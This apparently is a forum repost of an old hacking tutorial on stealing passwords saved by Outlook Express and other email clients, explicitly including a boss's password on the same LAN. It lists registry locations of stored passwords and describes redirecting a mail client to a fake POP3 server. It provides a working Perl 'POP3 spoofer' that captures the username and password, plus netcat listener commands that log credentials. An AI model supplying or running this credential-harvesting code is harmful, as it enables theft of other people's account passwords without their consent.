noget jeg faldt over på nettet.
Cracking Outlook Express’s Password
After I released the first edition of - Password Cracking Decrypted Revisited, I got a lot of mails, from people asking me questions, like where Outlook Express stores the Dial Up Password and how to decrypt it or how to get the Outlook Express password of my boss, who is on the same LAN. Well, this edition will to a certain extend answer all such questions.
Outlook Express too like Internet Explorer and a number of other Dial Up Software, provides the user with the option of ‘Save Password.’ This option although it makes connecting to the net easy, is really a stupid security loophole and makes the password of the User vulnerable to being cracked.
Outlook Express stores the Dial Up Networking or DUN Password in the registry, under the following key:
HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager\Accounts
Well, actually the above key has a number of sub keys, which correspond to and store information on various Internet Connection Accounts. The Accounts (information and configuration details) are stored as 00000001 for the first account, 00000003 for the third and so on.
Clicking on any of these Accounts Key, will display a number of DWORD, String and Binary values in the right pane. All these values store configuration details about how your Internet Connection Account works. However, the key with which we are really interested is only the: POP3 Password2 key.
The POP3 Password2 is the DWORD value, which stores your Internet Connection Password. Actually, it is not Outlook only, which uses, this key, but the Internet Connection Wizard, under which both Outlook and Internet Explorer come.
Anyway, now, once I did find out the key of Outlook express, I racked my brains to figure out the algorithm to decrypt the password so as to get the plaintext one, but somewhere along the way, when I was experimenting for another of my tutorials, I found out a way which would be much more easier, to get the Outlook Password. It requires no coding, no fancy C code editing and has no Mathematics of algorithms involved.
************************
HACKING TRUTH: Common paths where some passwords are stored by various applications-:
Outlook Express / Internet Explorer ---
HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager\Accounts
Panda Antivirus: HKEY_LOCAL_MACHINE\SOFTWARE\Panda Software\Panda Antivirus 6.0
Shares: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetDDE
Screen Saver: c:\windows\user.dat
************************
Well, before we go on to the actual process, let us understand what Outlook usually does, while connecting to your mail server and downloading your email. Now, when you click on Send and Receive, Outlook Express connects to Port 110 of your Mail server and the following set of POP command exchange takes place between your system and the POP daemon of the mail server:
+OK QPOP (version 2.53) at delhi1.mtnl.net.in starting.
USER ankit
+OK Password required for ankit.
PASS abc
+OK ankit has xx messages (yyyyy octets).
So, this means that firstly, as soon as the daemon banner, comes up, Outlook sends your Username to the mail server, then once the Password required Message, comes up, Outlook sends your password. This in turn means that your password is being sent to the remote system and (I am sure, almost all of you have guessed it by now) if this remote system has a port listener installed, then you can get both the User name and Password.
So what you have to do is:
1.) Change Outlook Express’s Mail Server setting to point to almost always a local machine or a machine where you are able to install and run a port listener.
2.) Connect to the Internet and click on Send/Receive just as you normally do, and voila, the listener, gets the password for you. It is as simple as that.
This technique works with almost all email clients including Netscape Messenger. It will not work only with those clients, which ask for a password for you to be able to change the mail server settings.
Where do I get a Port Listener? Well, you can them as well as all the Hacking utility you need from either
www.anticode.com or packetstorm.securify.com
However, again nothing is more enjoyable and satisfactory than to write your own Port Listener. It can easily be written in either C or Perl. Infact the following is a Perl script, which acts as a port listener:
_____________________________________________________
# This is a simple tcp server that listens on port 110
# unless another is specified.
# The possible uses of this are;
# Netscape/explorer mail password caching/grabbing
# In netscape edit your prefs.js file so that your pop
# server is your own ip (127.0.0.1) then open netscape
# and click on get mail then this will capture the user.name
# and password. (ps- dont edit your pop account in netscape
# or it will erase the password and prompt for a new one)
# I havent got explorer but the pop server can be changed in
# the registry same should work for other email clients that
# allow password caching.
# Most of this coding was already in the /perl/eg/ folder
# you can find the orginal version there ..
print "===========================\n";
print " Manicx local POP3 spoofer\n";
print "
www.infowar.co.uk/manicx/\n";print "===========================\n";
($port) = @ARGV;
$port = 110 unless $port; # Are port is 110 unless specified
$AF_INET = 2;
$SOCK_STREAM = 1;
$sockaddr = 'S n a4 x8';
($name, $aliases, $proto) = getprotobyname('tcp');
if ($port !~ /^\d+$/) { ($name, $aliases, $port) = getservbyport($port,
'tcp');}
print "Port = $port\n";
$this = pack($sockaddr, $AF_INET, $port, "\0\0\0\0");
select(NS); $| = 1; select(stdout);
socket(S, $AF_INET, $SOCK_STREAM, $proto) || die "socket: $!";
bind(S,$this) || die "bind: $!";
listen(S,5) || die "connect: $!";
select(S); $| = 1; select(stdout);
print "Listening for connection....\n";
($addr = accept(NS,S)) || die $!;
print "Accept ok\n";
($af,$port,$inetaddr) = unpack($sockaddr,$addr);
@inetaddr = unpack('C4',$inetaddr);
print NS "+OK manicx POP3 sniffer ready.\n";
getuserandpass(); # call on our sub
bluffothers(); # call on other sub
#-------------------------------------
sub bluffothers{
$cmd = <NS>;
print $cmd;
$cmd =~ s/\s//g;
if ($cmd eq 'STAT')
{
print NS "+OK 0 0\n";
print "Client wants STAT sent bluff message\n";
bluffothers();
}
elsif ($cmd eq 'QUIT')
{
print "Client wants QUIT sent disconnect\n";
print NS "+OK 127.0.0.1 POP3 server closing connection\n";
sleep 5; #so we dont have an error message in netscape
}
else
{
print "Dont know what client wants sending bluff +ok\n";
print NS "+OK\n";
bluffothers();
}
}
#--------------------------------------
sub getuserandpass {
$user = <NS>;
$user =~ s/\s//g;
if ($user eq 'AUTH')
{
print NS "-ERR USER or QUIT\n";
print "Client wants AUTH? Sent error message :)\n";
getuserandpass()
}
else
{
print $user, "\n";
print NS "+OK Pass\n";
$pass = <NS>;
print $pass;
print NS "+OK Maildrop has 0 messages (0 octets)\n";
}
}
_________________________________
Now, say you do not want to run the above program or somehow do not like the idea of working with port listener, then, you can use a very interesting tool by L0pht.com called Netcat. This tool is really very amazing and before you read this manual further, I suggest you read its documentation at l0pht.com as I will not be discussing it’s various interesting options in this manual.
Anyway, the following command will create a simple Port Listener sort of utility, which will listen to the specified port and will record all data sent to it, in the log file specified.
C:\>nc –l –p xx > file
Where xx is the port number, which has to be listened, and file is the path of log file, where all keystrokes or everything entered by the person who connected to Port xx are recorded.
Note: The ‘-l’ option listens for connections, while ‘-p xx’ is used to specify the port to which you want Netcat to bind to.
Now, in our case, we want to bind Netcat to Port 110, listen for connections and record all keystrokes, so we use the following command:
C:\>nc –l –p 110 > log.txt
Well, actually all methods described in this method to steal the passwords stored by those software which have the ‘Save Password’ feature are not really needed. Almost all password including, Windows Login, Outlook Express, DUN and a few others will easily get unmasked, by using programs, like: Revelation
Such a program will basically convert the ‘ *’s to plaintext. You can get it at: Revelation.
Ny bruger
Nybegynder
Opret
Preview
